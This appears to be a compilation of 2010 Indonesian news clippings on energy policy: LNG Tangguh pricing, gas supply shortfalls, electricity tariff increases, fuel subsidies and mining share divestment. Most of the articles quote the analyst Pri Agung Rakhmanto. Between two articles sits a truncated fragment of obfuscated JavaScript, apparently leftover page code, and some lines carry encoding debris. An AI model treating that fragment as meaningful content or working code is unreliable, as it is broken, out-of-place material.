Pemerintah Perlu Renegosiasi Harga LNG Tangguh

Media Indonesia, 11 April 2010

JAKARTA–MI : Pengamat migas, Pri Agung Rakhmanto meminta pemerintah merundingkan kembali masalah harga gas alam cair (liquified natural gas/LNG) Tangguh, saat kunjungan Perdana Menteri China Wen Jiabao yang dijadwalkan akhir April 2010.

“Renegosiasi harga bukanlah hal yang tidak mungkin dilakukan. Pemerintah bisa memanfaatkan kunjungan PM China buat mengkaji lagi harga LNG Tangguh yang memang murah,” katanya di Jakarta, Minggu (11/4). Menurut Direktur ReforMiner Institute itu, pemerintah mesti memanfaatkan secara sungguh-sungguh kedatangan PM China untuk melakukan pembicaraan kembali mengenai harga Tangguh. China, lanjutnya, sedang gencar-gencarnya mencari pasokan energi untuk menggerakkan perekonomian negara itu, yang beberapa tahun terakhir tumbuh cepat.

“China sedang haus energi. Hal ini mesti jadi alat untuk menawarkan perubahan harga Tangguh,” katanya. Selain Tangguh, Pri menambahkan, pemerintah bisa memanfaatkan kunjungan Wen untuk mendapatkan komitmen investasi eksplorasi migas khususnya di wilayah Indonesia bagian timur. Potensi migas khususnya gas di wilayah Indonesia bagian timur diketahui cukup besar dan pemerintah tengah berupaya mencari investor yang mau menggarap cadangan tersebut. Sementara itu, pengamat ekonomi dari Universitas Katolik Atmajaya, Jakarta, A Prasetyantoko mengatakan, kedatangan PM China bisa dimanfaatkan untuk lebih meningkatkan investasi di sektor infrastruktur seperti pembangkit listrik. Selama ini, menurut dia, China sudah cukup banyak menanamkan modal di bidang pembangkit listrik khususnya proyek 10.000 MW tahap pertama. “Pemerintah harus lebih menarik lagi investasi di pembangkit listrik saat PM China datang,” ujarnya.(Ant/OL-02)

Infrastruktur Gas Belum Jadi Prioritas

Kompas, 10 April 2010

JakartaA�- Pembangunan infrastruktur gas di Indonesia dinilai belum jadi prioritas pemerintah. Hal ini mengakibatkan terjadi kekurangan pasokan gas untuk domestik. Menurut Direktur Eksekutif Lembaga Kajian Reformasi Pertambangan dan Energi Pri Agung Rakhmanto, Jumat (9/4) di Jakarta, infrastruktur seperti halnya penampung gas, pipa transmisi, dan distribusi sesungguhnya tanggung jawab pemerintah.

Ini sama dengan kewajiban awal pemerintah menyediakan jaringan listrik atau fasilitas distribusi bahan bakar minyak (BBM) yang kini masing-masing dikelola PT Perusahaan Listrik Negara (PLN) dan PT Pertamina, kata dia menegaskan.

Pri Agung menjelaskan, krisis gas sekarang ini terjadi karena pengembangan infrastrukturnya tidak dijadikan prioritas sehingga tidak ada cetak birunya yang konkret. Kalau ini tidak dibenahi, tidak saja gas kita akan selalu diekspor, tetapi menerima gas dari impor pun kita juga tidak akan bisa, ujarnya.

Butuh biaya besar

Secara terpisah, Kepala Badan Pelaksana Kegiatan Hulu Minyak dan Gas Bumi (BP Migas) R Priyono menyatakan, sebenarnya total produksi gas di Indonesia bisa memenuhi kebutuhan domestik saat ini. Masalahnya, infrastruktur gas sangat minim. Untuk membangun infrastruktur, tentu butuh biaya investasi yang besar dan waktu lama, ujar Priyono. Menanggapi hal itu, Direktur Jenderal Migas Kementerian Energi dan Sumber Daya Mineral Evita H Legowo menjelaskan, infrastruktur gas yang paling penting sekarang adalah terminal penampung gas alam cair. Pemerintah telah menargetkan pembangunan penampung gas untuk Sumatera dan Jawa Barat rampung pada September 2011. (EVY)

t(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Kenaikan TDL Bisa Dihindari Jika Pasokan Gas ke PLTGU Aman
Detik.com, 7 April 2010
Jakarta – Kenaikan Tarif Dasar Listrik (TDL) dapat dihindari jika pemerintah mau memenuhi kebutuhan gas untuk seluruh Pembangkit Listrik Tenaga Gas Uap (PLTGU). Pemerintah tak bisa memutuskan kenaikan TDL tanpa membenahi sistem kelistrikan di tanah air. Kalau pemerintah serius membenahi kelistrikan nasional, penuhi dulu gas untuk PLTGU-PLTGU yang ada. Baru setelah itu bicara lagi tentang TDL, perlu naik atau tidak, kata Direktur Eksekutif ReforMiner Institute, Pri Agung Rakhmanto kepada detikFinance, Rabu (7/4/2010).
Menurut Pri Agung, jika seluruh kebutuhan gas PLTGU dapat dipenuhi maka dipastikan subsidi listrik dalam Anggaran Pendapatan Belanja Negara (APBN) 2010 bisa dihemat hingga 50 persen.
Pada kesempatan yang sama, Pri Agung juga mengkritisi soal rencana kenaikan TDL sebesar 10 persen untuk pelanggan listrik 450-900 volt ampere (VA) yang menggunakan listrik di atas 30 kwh per bulan. Menurut dia, rencana tersebut tidak masuk akal. Jika pemakaian listrik di atas 30 kwh dianggap boros, menurut Pri Agung hal itu sama saja dengan memaksa orang hidup dalam keterbatasan. Dengan menggunakan listrik 70-100 kwh per bulan untuk kelas 450-900 VA saja, sebenarnya itu masih masuk dalam kategori konsumsi listrik yang wajar. Satu televisi 14 inch itu dayanya 60 watt jika nyala 8 jam sehari, dalam sebulan sudah 14.4 kwh.
Plus lampu-lampu, setrika itu saja sudah di atas 30 Kwh per bulan. Apa lalu jika orang juga pakai kipas angin, dan radio dianggap boros Ini sama dengan memundurkan peradaban, kata dia. Seperti diketahui, pemerintah berencana untuk menaikkan Tarif Dasar Listrik (TDL) sebesar 10 persen untuk pelanggan golongan 450 -900 volt ampere (VA). Kenaikan tersebut baru berlaku jika pelanggan tersebut menggunakan listrik di atas 30 kwh per bulan. Namun jika pelanggan pada golongan itu menggunakan listrik di bawah 30 kwh per bulan maka dipastikan tidak akan mengalami kenaikan, ungkap Direktur Jenderal Listrik dan Pemanfaatan Energi, Kementerian ESDM, J Purwono.

Kebijakan Hulu dan Hilir Gas Nasional Harus Terintegrasi
Media Indonesia, 5 April 2010 JAKARTAA�
Kegiatan industri hulu dan hilir gas nasional tidak bisa dibiarkan berjalan sendiri-sendiri. Keduanya harus terintegrasi sehingga pasokan gas di dalam negri menjadi teratur dan tidak ada pihak yang mencari keuntungan sendiri-sendiri. Ini kan sebenarnya karena hulu dan hilir terpisah, berjalan sendiri-sendiri. PGN (Perusahaan Gas Negara) cari untung, hulu juga cari untung, kata Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto, di Jakarta, Senin (5/4). Baca selengkapnya
Harga Keekonomian Diterapkan 2014

Kompas, 23 Maret 2010A�

Jakarta,A�Pemerintah berencana menetapkan harga energi, baik bahan bakar minyak maupun listrik, sesuai harga keekonomian pada 2014. Hal ini akan dilakukan dengan mengubah pola subsidi pada harga menjadi subsidi langsung bagi golongan tak mampu. Menteri Energi dan Sumber Daya Mineral Darwin Zahedy Saleh menyampaikan hal itu seusai menghadiri pelantikan pejabat eselon II Kementerian ESDM, Senin (22/3) di Jakarta.

Ia menjelaskan, harga BBM dan tarif listrik bersubsidi diharapkan mencapai harga keekonomian pada 2014-2015. Kami berharap nantinya sampai pada pemahaman dan praktik bersama tentang harga keekonomian. Itu rencananya, ujarnya. Saat ini pemerintah masih merumuskan bagaimana cara mendidik masyarakat, termasuk yang tidak mampu, untuk memahami harga keekonomian listrik agar lebih efisien. Kalau harga terlalu mahal, rakyat akan berhemat. Jadi, itu yang perlu dididik. Kami perlu mengubah pola subsidi pada harga menjadi subsidi pada golongan tak mampu, ujar Darwin.

Secara terpisah, Direktur Eksekutif Lembaga Kajian Reformasi Pertambangan dan Energi Pri Agung Rakhmanto menyatakan, struktur tarif listrik memang harus dibenahi. Namun, pemerintah mesti konsisten dengan rencana-rencana efisiensi kelistrikan yang telah dikemukakan. Masalahnya pada pengalihan pemakaian BBM dengan gas pada pembangkit-pembangkit listrik tenaga gas dan uap yang ada. Ini, kalau dijalankan, bisa mengurangi subsidi listrik hingga 50 persen.

Dengan itu, struktur biaya penyediaan juga turun. Baru setelah itu bicara kenaikan tarif dasar listrik (TDL), ujarnya. Terkait rencana kenaikan TDL pada Juli nanti, pemerintah baru mengadakan simulasi agar kenaikan tarif itu dapat dipikul masyarakat. Hal ini sebagai bentuk kehati-hatian pemerintah. Itu pun masih dikomunikasikan dengan wakil rakyat (DPR), tutur Darwin.

Direktur Jenderal Listrik dan Pemanfaatan Energi Kementerian ESDM J Purwono menjelaskan, kini pemerintah sedang menghitung besaran kenaikan TDL. Tiap golongan berbeda-beda besaran kenaikannya karena daya belinya juga berbeda, ujarnya. Kenaikan TDL pada Juli nanti tidak boleh lebih berat dari saat kenaikan tarif listrik pada 2003.

Kenaikan TDL golongan pelanggan 900 volt ampere ke bawah diperkirakan di bawah 15 persen dan kenaikan tarif listrik bagi kelompok pelanggan besar bisa lebih dari 15 persen. Kompensasi atas kenaikan TDL masih dirumuskan agar bermanfaat bagi pelanggan, tetapi tidak merugikan negara. Adapun konsep bantuan langsung tunai listrik baru direalisasikan kalau bentuk subsidi berubah dari harga jadi subsidi langsung. (EVY)

Kebijakan Migas Tidak Tegas Penyebab Defisit Gas

Media Indonesia, 22 Maret 2010

JAKARTA MI:A�Ketidakjelasan alokasi produksi gas dinilai menjadi faktor utama yang membuat defisit pasokan gas industri nasional saat ini. Di saat bersamaan, pemerintah terkesan lamban dalam mengambil keputusan terkait orientasi potensi gas yang ada seperti dalam memutuskan peruntukkan gas proyek Donggi Senoro, Sulawesi Tengah, serta tidak terbuka dengan hasil renegosiasi harga jual gas Tangguh, Papua, ke Fujian China.

Bahkan di saat darurat, manakala PT Perusahaan Gas Negara (persero) Tbk harus memangkas 20% pasokan untuk industri manufaktur dan menghentikan 25% pasokan gas untu PLTGU Muara Tawar, solusi yang diberikan pemerintah dalam rakor gas (Jumat, 19/3) lalu) bersifat jangka pendek dan masih jauh dari kebutuhan.

Selain hanya memberi tambahan pasokan 70 MMSCFD (23,33%) dari seluruh defisit nasional yang mencapai 300 juta metric standar kaki kubik per hari (million metric standard cubic feet per day/MMSCFD), solusi tersebut juga hanya bersifat sesaat karena tidak adanya jaminan kelangsungan pasokan.

Dari total tambahan pasokan 50 MMSCFD, 20 MMSCFD hanya akan dipasok oleh PT Pertamina Hulu Energi Offshore Northwest Java (ONWJ) untuk 3 bulan saja, dari April hingga Juni mendatang. Jadi tinggal mengandalkan pasokan dari Lapangan Singa Blok Lematang Sumatera Selatan Milik Medco EP sebanyak 50 MMSCFD (40 MMSCFD menurut konfirmasi dari pihak Medco).

Sementara pasokan 295 dari ConocoPhillips (sesuai kontrak dengan PGN) masih akan dibicarakan sehingga belum bisa dipastikan terpenuhi seluruhnya, akibat adanya alokasi hingga 100 MMSCFD untuk keperluan produksi minyak Chevron di Duri, Riau.

Hal seperti itu terjadi karena sinergi antar BUMN dan pemerintah masih lemah. Akibat salah kelola, antara hulu dan hilir berjalan sendiri-sendiri, tidak terintegrasi, ujar Direktur Eksekutif Reforminer Institute Pri Agung Rakhmanto, kepada Media Indonesia, Minggu (21/3).

Menurut Pri Agung, upaya penanggulangan sesaat seperti itu juga turut menunjukkan masing-masing pihak menunjukkan ego institusi yang muncul karena pemerintah tidak tegas menerapkan kebijakan yang menyelaraskan program antar BUMN itu. Mestinya fungsi pemerintah untuk mengarahkan dan menjembatani antar BUMN yang memproduksi migas (hulu) dengan BUMN yang mendistribusikan dan menjual migas (hilir) itu harus jalan. Paling tidak antar BUMN yang berada di bawah kementerian ESDM harus bisa bersinergi dalam program-programnya, tutur Pri Agung.

Dalam pandangan pengamat energi, Kurtubi, defisit seperti ini akibat dari tidak adanya ketegasan pemerintah dalam tata kelola sektor migas nasional. Sekian lama Indonesia mengekspor gas namun hingga kini belum memiliki infrastuktur penerima dan pengubah gas alam cair (storage and regasification liuid natural gas/ LNG).

Ini ironis karena justru menjadi penyebab kebutuhan domestik tidak bisa terpenihi, defisit terus. Kita hanya punya kilang untuk produksi LNG yang semuanya diekspor, ujar Kurtubi.

Padahal imbuhnya, kalau ada terminal penerima dan pengubah LNG tersebut, dalam kondisi seperti ini, gas alam bisa diambil dari Kilang Badak di Bontang, Kalimantan Timur atau Kilang Tangguh di Papua. Daripada menunggu proses renegosiasi harga jual LNG Tangguh ke Fujian China yang hingga kini tidak ada kabar beritanya, lebih baik gas dari sana dipakai untuk kebutuhan dalam negeri. Namun apa daya kalau tidak ada kilang penerimanya , ujar Kurtubi.

Karena itu, kondisi defisit ini, imbuh Kurtubi, akan terus berlangsung sampai fasilitas terminal terapung penyimpan dan pengolah LNG (floating storage and regasification terminal/FSRT) milik Pertamina dan PGN di Teluk Jakarta, bisa beroperasi menjelang akhir 2011. Untuk saat ini, kondisi megap-megap gas bakal terus berlangsung, tukasnya.

Kalaupun nanti fasilitas tersebut sudah beroperasi, ia berharap pemerintah tidak serta merta berorientasi impor LNG dengan alasan gas alam yang ada sudah terikat komitmen ekspor. Alihkan saja gas dari Tangguh yang renegosiasinya tidak jelas itu untuk kebutuhan domestic. Masa kita rela menjual gas hanya US$3,35 per juta metric british thermal unit (MMBTU) sementara konsumen di dalam negeri harus membeli di atas kisaran US$5 per MMBTU. Lebih baik kita putus kontrak dengan resiko diarbitrasekan, paling kena denda, namun kita mampu memenuhi kebutuhan domestic sehingga pertumbuhan ekonomi nasional tidak terganggu gara-gara defisit gas, ujarnya.

Dengan alokasi gas dari Tangguh ini saja, kebutuhan gas nasional untuk pabrik pupuk, pembangkit listrik dan industri akan terpenuhi setiap tahunnya. Untuk penghasil devisa biarkkan LNG dari Kilang Bontang yang diekspor karena harganya bagus di kisaran US$13 per MMBTU. Atau bisa juga gas dari Donggi Senoro, namun tetap dengan catatan haarganya minimal harus menyamai LNG dari Kilang Bontang dan alokasikan kewajiban pasok domestic (domestic market obligation/DMO) antara 25%-30%, papar Kurtubi.

Karena itu, ia berharap pemerintah segera memutuskan peruntukkan gas Donggi Senoro termasuk juga menunjuk operator untuk Kilang LNG di ladang gas Sulawesi tengah itu. Kalau mau memaksimalkan keuntungan dan ingin membesarkan perusahaan migas nasional, seharusnya Pertamina yang menjaadi operator disana. Kalaupun mau diekspor seluruhnya, bisa saja. Untuk kewajiban pasokan domestiknya bisa menggunakan mekanisme pasokan silang (swap) dari LNG Tangguh, pungkas Kurtubi. (Jaz/OL-7)

Pemerintah Perlu Proaktif Hak Beli Saham Tambang

Bisnis Indonesis.com, 22 Maret 2010

JAKARTA:A�Pemerintah diimbau lebih proaktif dalam menjalankan hak pembelian saham yang didivestasi pemodal asing pertambangan sebagaimana diatur PP No.23/2010 tentang Pelaksanaan Kegiatan Usaha Pertambangan Mineral dan Batu bara agar tujuan divestasi untuk peningkatan kapasitas nasional bisa tercapai. Direktur Eksekutif Reforminer Institut Pri Agung Rakhmanto mengatakan pelimpahan hak pembelian saham kepada pihak di luar pemerintah, pusat ataupun daerah baik secara langsung ataupun melalui badan usahanya terbukti menyebabkan divestasi itu gagal meningkatkan peran nasional. Apabila saham itu jatuh ke tangan swasta, tuturnya, dengan sendirinya pemerintah atas nama negara tidak lagi memiliki kendali atas kepemilikan saham tersebut selanjutnya.

Dalam kontrak karya [KK] sebelumnya, hanya mengatur mengenai besaran saham yang didivestasi. Setelah saham itu dikendalikan oleh pihak lain, dan kebetulan itu swasta, mau kemana pihak swasta itu menjual sahamnya sudah bukan lagi wewenang pemerintah untuk mengatur, katanya hari ini. Pri Agung mencontohkan divestasi saham PT Newmont Nusa Tenggara (NNT) telah sukses mengalihkan 24% saham milik Newmont Indonesia Ltd dan Nusa Tenggara Mining Corp kepada peserta Indonesia, yaitu PT Multi Daerah Bersaing, yang merupakan perusahaan patungan antara Multicapital dan PT Daerah Maju Bersaing.

Tahun ini, merupakan akhir dari proses divestasi yang tinggal menyisakan 7% dari 31% kewajiban yang tersisa. Seperti diketahui, sebelum proses divestasi dimulai 2006, 20% saham NNT telah dikuasai oleh PT Pukuafu Indah. Namun, sejak Desember tahun lalu Pukuafu kehilangan kendali atas saham-sahamnya hingga 2019 setelah perusahaan menggadaikannya kepada NIL dan NVL, anak perusahaan Newmont Mining Corp lainnya, untuk mendapatkan pinjaman sebesar US$287 juta. Utang tersebut digunakan perusahaan untuk melunasi pembayaran obligasi yang jatuh tempo.

Obligasi itu sendiri semula diterbitkan Pukuafu untuk melunasi utangnya kepada Newmont, yang dibuat perusahaan untuk penyertaan modal pengembangan Batu Hijau. Dalam laporan keuangan terakhirnya, Newmont Mining Corp telah mendeklarasikan penguasaan hak ekonomi (saham) atas Batu Hijau sebesar 52,44%. Padahal, sebelum proses divestasi saham berlangsung pada 2006, Newmont dan NTMC masing-masing hanya menguasai 45% dan 35%. Itulah mengapa sikap proaktif pemerintah diperlukan agar tidak lagi terjadi hal semacam ini. Tujuan divestasi menjadi tidak tercapai karena saham itu akhirnya kembali dikuasai pemodal asing, katanya. Divestasi saham kini diatur dalam UU No.4/2009 tentang Mineral dan Batu bara yaitu pasal 112 ayat 1. Berdasarkan Peraturan Pemerintah No.23/2010 Pasal 97 ayat 1, pemegang Ijin Usaha Pertambangan dan Izin Usaha Pertambangan Khusus wajib mendivestasikan sedikitnya 20% kepada peserta Indonesia setelah 5 tahun berproduksi dengan tahapan, pemerintah, pemerintah daerah, badan usaha milik negara, badan usaha milik daerah, atau badan usaha swasta nasional.

Direktur Eksekutif IMA Priyo Pribadi Soemarno sebelumnya mengusulkan agar saham divestasi bisa dilepas melalui pasar modal untuk mengantisipasi gagalnya divestasi bila pihak nasional tidak mampu membeli saham yang ditawarkan. Opsi itu merupakan yang terakhir untuk mengantisipasi kegagalan proses divestasi saham pemodal asing. Namun, berdasarkan PP No. 23/2010 pasal 97 ayat 11 disebutkan apabila divestasi tidak tercapai, penawaran saham bisa dilakukan pada tahun berikutnya berdasarkan mekanisme ketentuan yang tertera dalam PP tersebut. PP tersebut tidak mengatur mengenai sampai berapa tahun proses divestasi itu dibatasi. (mrp)

Realisasi Rencana Lepas Harga Energi 2014 Sulit

Bisnis Indonesia.com, 22 Maret 2010

Rencana pemerintah untuk melepas harga energi pada keekonomiannya di 2014 sulit direalisasikan tanpa adanya sikap konsisten dari pemerintah sendiri. Direktur Eksekutif Reforminer Institut Pri Agung Rakhmanto mengatakan 2014 merupakan tahun politik, dan semua pihak yang berkepentingan akan berupaya memanfaatkan isu tersebut untuk meraih dukungan. Di sisi lain, tuturnya, pemerintah sebenarnya telah membuat cetak biru rencana pencabutan subsidi pada 2010, yang merupakan perubahan dari Renstra 2000-2004.

Nyatanya hingga saat ini rencana itu tidak bisa direalisasikan karena berbagai alasan. Intinya sebenarnya kembali pada konsistensi pemerintah juga, katanya hari ini.

Pri Agung mengatakan dalam kebijakan mengenai harga energi hendaknya tidak dipolitisasi. Pemerintah, katanya, seharusnya juga menyiapkan mekanisme yang jelas dan tertata. Mencabut subsisi BBM-listrik, juga harus diimbangi road map-nya bagaimana, termasuk di sana juga memperhatikan bagaimana pengelolaan kompensasi untuk kalangan terdampak dari kebijakan tersebut. Itu harus dibuat setiap tahun.

Selain itu, lanjutnya, rencana kebijakan pelepasan subsidi harga energi sulit diimplementasikan bila tidak dikunci dalam Undang-Undang Anggaran Penerimaan dan Belanja Negara (APBN).

Dia mencontohkan penerapan tarif listrik multiguna terbaru dari PLN baru bisa dilaksanakan setelah dinyatakan secara tegas dalam UU APBN. Dengan disebutkan dalam UU, kedudukannya akan sangat kuat karena dalam prosesnya itu sudah melewati persidangan politik di DPR.

Untuk BBM sebenarnya juga sudah dinyatakan sejak 2008, yaitu dengan menetapkan batas toleransi harga minyak yang bisa menjadi patokan pemerintah untuk mulai menaikkan harga BBM, katanya.

Di sisi lain, Pri Agung menambahkan pemerintah seharusnya juga memiliki perencanaan yang jelas terkait dengan penggunaan dana subsidi yang berhasil dihemat. Selama ini, tuturnya, masyarakat tidak bisa menilai kebijakan penghematan subsidi yang dilakukan pemerintah sudah berhasil atau tidak, karena tidak adanya kejelasan mengenai peruntukan dana selanjutnya. Pemerintah selalu bilang dana yang berhasil dihemat masuk dalam APBN. Seharusnya pemerintah secara tegas mengatur peruntukannya, misalnya penghematan subsidi BBM tahun ini akan digunakan untuk mendanai infrastruktur ketenagalistrikan, kata dia. Dia juga mengatakan penerapan harga energi pada keekonomiannya bisa dilakukan secara lebih cepat dari 2014.

Namun, menurutnya, untuk melakukan hal itu pemerintah harus mempercepat efisiensi di masing-masing subsektor. Misalnya penggunaan bahan bakar gas pada pembangkit listrik untuk menggantikan BBM. Kalau sudah efisien, tidak terlalu berat kalau nanti harus dinaikkan ke tarif keekonomian, katanya.(er)

Subsidi BBM Akan Dibatasi

Kompas, 13 Maret 2010

Jakarta, Kementerian Energi dan Sumber Daya Mineral tengah mengkaji rencana penerapan kebijakan pelarangan bagi pengguna mobil dengan klasifikasi tertentu memakai bahan bakar minyak bersubsidi. Tujuannya agar pemberian subsidi BBM lebih tepat sasaran. Menurut Menteri ESDM Darwin Zahedy Saleh di Jakarta, Jumat (12/3), kebijakan itu akan diambil karena belum tertibnya sebagian besar pengguna mobil yang sebetulnya tidak layak memakai BBM bersubsidi. Mobil pribadi dengan klasifikasi tertentu tidak pada tempatnya mendapat subsidi BBM. Kita semua tahu mobil mana saja yang tidak pantas, kata dia.

Saat ini pemerintah sedang merancang, melihat, dan menguji coba mekanisme pelarangan penggunaan BBM bersubsidi bagi pengguna mobil jenis tertentu. Nantinya, mobil pribadi dengan klasifikasi tertentu akan menggunakan BBM dengan harga keekonomian. Kita ingin BBM tidak menjadi barang langka, ujarnya. Klasifikasi mobil mewah Direktur Eksekutif Lembaga Kajian Reformasi Pertambangan dan Energi Pri Agung Rakhmanto menilai positif rancangan kebijakan pemerintah itu.

Akan tetapi, pengklasifikasian mobil mewah atau tidak juga harus jelas, rasional, dan adil, apakah berdasarkan besarnya CC mobil itu, harga, tahun pembuatan, atau kombinasinya. Pengklasifikasian itu harus dirumuskan dulu, lalu disimulasikan berapa penghematan subsidinya dengan berbagai skenario. Semestinya pelarangan penggunaan BBM bersubsidi itu dimulai dari mobil-mobil dinas pejabat pemerintah, katanya. Terkait harga BBM, menurut Darwin, pemerintah berupaya agar harga BBM tahun ini tidak naik, kecuali terpaksa. Hasil pemantauan dan evaluasi perkembangan harga minyak mentah dan harga produk BBM di pasar dunia dalam satu bulan terakhir menunjukkan laju peningkatan signifikan.

Meski demikian, pemerintah memutuskan, terhitung 15 Maret 2010, harga jual eceran BBM jenis minyak tanah, premium, dan minyak solar untuk keperluan rumah tangga, usaha kecil, usaha perikanan, transportasi, dan pelayanan umum tidak berubah. Hal ini dengan mempertimbangkan kondisi perkembangan harga minyak masih berfluktuasi, pergerakan nilai tukar rupiah terhadap dollar Amerika, dan pembahasan APBN Perubahan 2010. Jadi, harga BBM jenis tertentu tetap mengacu pada Peraturan Menteri ESDM Nomor 1 Tahun 2009 tentang harga jual eceran BBM jenis minyak tanah, bensin premium, dan minyak solar. Dengan rincian, harga bensin premium Rp 4.500 per liter, minyak solar Rp 4.500 per liter, dan minyak tanah Rp 2.500 per liter. (EVY)

Harga BBM Tak Akan Dinaikkan

Kompas, Jumat, 12 Maret 2010

Jakarta, Pada tahun ini pemerintah berjanji tidak akan menaikkan harga bahan bakar minyak. Syaratnya, asumsi harga jual minyak, nilai tukar rupiah, dan volume konsumsi BBM sesuai dengan rencana dalam Rancangan APBN Perubahan atau RAPBN-P 2010. Namun, pemerintah mengusulkan agar harga BBM dapat dinaikkan jika harga jual minyak mentah Indonesia melonjak 10 persen dari asumsi dalam APBN-P 2010, yakni 77 dollar AS per barrel. Sepanjang semua asumsi itu berjalan, BBM tidak akan naik. Jadi, masyarakat harap tetap tenang dan saya akan mengelola APBN secara prudent (hati-hati), ungkap Menteri Keuangan Sri Mulyani Indrawati di Jakarta, Kamis (11/3).

Dalam Rancangan Undang-Undang APBN-P 2010 disebutkan adanya perubahan Pasal 7 Ayat 3, yakni dalam hal perkiraan harga rata-rata minyak mentah Indonesia (Indonesia crude price/ICP) dalam satu tahun melonjak lebih dari 10 persen dari harga yang diasumsikan APBN-P 2010, pemerintah diberi kewenangan untuk menyesuaikan harga BBM bersubsidi. Ini artinya, batas atas ICP yang memungkinkan harga BBM tidak naik adalah 84,7 dollar AS per barrel.

Kepala Badan Kebijakan Fiskal Anggito Abimanyu juga menyatakan bahwa APBN 2010 diperkirakan akan tetap aman hingga harga minyak mentah Indonesia naik ke level 85 dollar AS per barrel. Jika rata-rata harga jual minyak mentah Indonesia atau ICP lebih tinggi 1 dollar AS per barrel dari angka yang diasumsikan, tambahan defisit pada APBN 2010 diperkirakan akan berada pada kisaran Rp 0 triliun hingga Rp 0,1 triliun. Dengan demikian, jika ICP bertahan pada level 85 dollar AS per barrel sepanjang tahun 2010, defisit APBN 2010 akan melonjak sekitar Rp 1,5 triliun. Belum pasti Direktur Eksekutif Institute Reforminer (Lembaga Kajian Reformasi Pertambangan dan Energi) Priagung Rahmanto mengatakan, kemungkinan naiknya harga minyak ke level 85 dollar AS per barrel masih belum pasti. Di satu sisi, harga minyak cenderung naik karena pulihnya perekonomian dunia.

Namun, di sisi lain, secara fundamental, hal itu tidak akan menyebabkan kurangnya pasokan karena kapasitas OPEC masih besar, yakni sekitar 4-6 juta barrel per hari. Cadangan OPEC itu sewaktu-waktu akan dilepas ke pasar sehingga, kalaupun ekonomi global pulih, kenaikan harganya tidak akan terlalu jauh dari kisaran 80-85 dollar AS per barrel. Masih bergantung pada respons OPEC juga nantinya, ujarnya. Sementara itu, ekonom Danareksa Research Institute, Purbaya Yudhi Sadewa, mengatakan, melihat kecenderungan harga minyak dalam puluhan tahun terakhir, harga minyak akan bergerak di kisaran 60-80 dollar AS per barrel. (OIN)